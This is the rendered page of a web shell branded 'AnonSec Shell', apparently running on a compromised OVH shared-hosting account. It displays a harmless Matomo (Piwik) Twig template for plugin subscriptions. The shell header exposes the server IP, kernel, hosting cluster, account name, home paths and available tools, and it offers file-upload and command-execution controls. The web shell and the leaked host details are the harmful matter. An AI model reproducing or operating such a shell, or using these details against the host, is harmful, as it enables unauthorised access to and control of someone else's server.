AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : awebpaca ( 35430)
PHP Version : 8.5.0
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/awebpaca/piwik/plugins/Marketplace/templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/awebpaca/piwik/plugins/Marketplace/templates/subscription-overview.twig
{% extends mode is defined and mode == 'user' ? "user.twig" : "admin.twig" %}
{% import '@Marketplace/macros.twig' as marketplaceMacro %}

{% set title %}{{ 'Marketplace_Marketplace'|translate }}{% endset %}

{% block content %}

    <div piwik-content-block
         content-title="{{ 'Marketplace_OverviewPluginSubscriptions'|translate|e('html_attr') }}"
         class="subscriptionOverview">

        {% if hasLicenseKey %}
            <p>
                {{ 'Marketplace_PluginSubscriptionsList'|translate }}
                {% if loginUrl %}
                    <a target="_blank" rel="noreferrer noopener" href="{{ loginUrl }}">{{ 'Marketplace_OverviewPluginSubscriptionsAllDetails'|translate }}</a>
                {% endif %}
                <br/>
                {{ 'Marketplace_OverviewPluginSubscriptionsMissingInfo'|translate }}
                <br />

                {{ 'Marketplace_NoValidSubscriptionNoUpdates'|translate }}
                {{ 'Marketplace_CurrentNumPiwikUsers'|translate('<strong>' ~ numUsers ~ '</strong>')|raw }}
            </p>

            <br />

            <table piwik-content-table>
                <thead>
                <tr>
                    <th>{{ 'General_Name'|translate }}</th>
                    <th>{{ 'Marketplace_SubscriptionType'|translate }}</th>
                    <th>{{ 'CorePluginsAdmin_Status'|translate }}</th>
                    <th>{{ 'Marketplace_SubscriptionStartDate'|translate }}</th>
                    <th>{{ 'Marketplace_SubscriptionEndDate'|translate }}</th>
                    <th>{{ 'Marketplace_SubscriptionNextPaymentDate'|translate }}</th>
                </tr>
                </thead>
                <tbody>
                {% if subscriptions|length %}
                    {% for subscription in subscriptions %}
                        <tr>
                            <td class="subscriptionName">
                                {% if subscription.plugin.htmlUrl %}
                                    <a href="{{ subscription.plugin.htmlUrl }}" rel="noreferrer noopener" target="_blank">
                                {% endif %}

                                {{ subscription.plugin.displayName }}

                                {% if subscription.plugin.htmlUrl %}
                                    </a>
                                {% endif %}
                            </td>
                            <td class="subscriptionType">{{ subscription.productType }}</td>
                            <td class="subscriptionStatus"
                                title="{% if not subscription.isValid %}{{ 'Marketplace_SubscriptionInvalid'|translate|e('html_attr') }}{% elseif subscription.isExpiredSoon %}{{ 'Marketplace_SubscriptionExpiresSoon'|translate|e('html_attr') }}{% endif %}">
                                {% if not subscription.isValid %}
                                    <span class="icon-error"></span>
                                {% elseif subscription.isExpiredSoon %}
                                    <span class="icon-warning"></span>
                                {% else %}
                                    <span class="icon-ok"></span>
                                {% endif %}

                                {{ subscription.status }}

                                {% if subscription.isExceeded is defined and subscription.isExceeded %}
                                    <span class="errorMessage" title="{{ 'Marketplace_LicenseExceededPossibleCause'|translate }}"><span class="icon-error"></span> {{ 'Marketplace_Exceeded'|translate }}</span>
                                {% endif %}
                            </td>
                            <td>{{ subscription.start }}</td>
                            <td>{% if subscription.isValid and subscription.nextPayment %}
                                    {{ 'Marketplace_LicenseRenewsNextPaymentDate'|translate }}
                                {% else %}
                                    {{ subscription.end }}
                                {% endif %}
                            </td>
                            <td>{{ subscription.nextPayment }}</td>

                        </tr>
                    {% endfor %}
                {% else %}
                    <tr><td colspan="6">{{ 'Marketplace_NoSubscriptionsFound'|translate }}</td></tr>
                {% endif %}
                </tbody>
            </table>

            <div class="tableActionBar">
                <a href="{{ linkTo({'module':"Marketplace", 'action':"overview"}) }}"
                   class="">
                    <span class="icon-table"></span>
                    {{ 'Marketplace_BrowseMarketplace'|translate }}
                </a>
            </div>

        {% else %}
            <p>{{ 'Marketplace_OverviewPluginSubscriptionsMissingLicense'|translate('<a href="'~ linkTo({'module':"Marketplace", 'action':"overview"}) ~'">', '</a>')|raw }}</p>
        {% endif %}
    </div>

{% endblock %}

Anon7 - 2022
AnonSec Team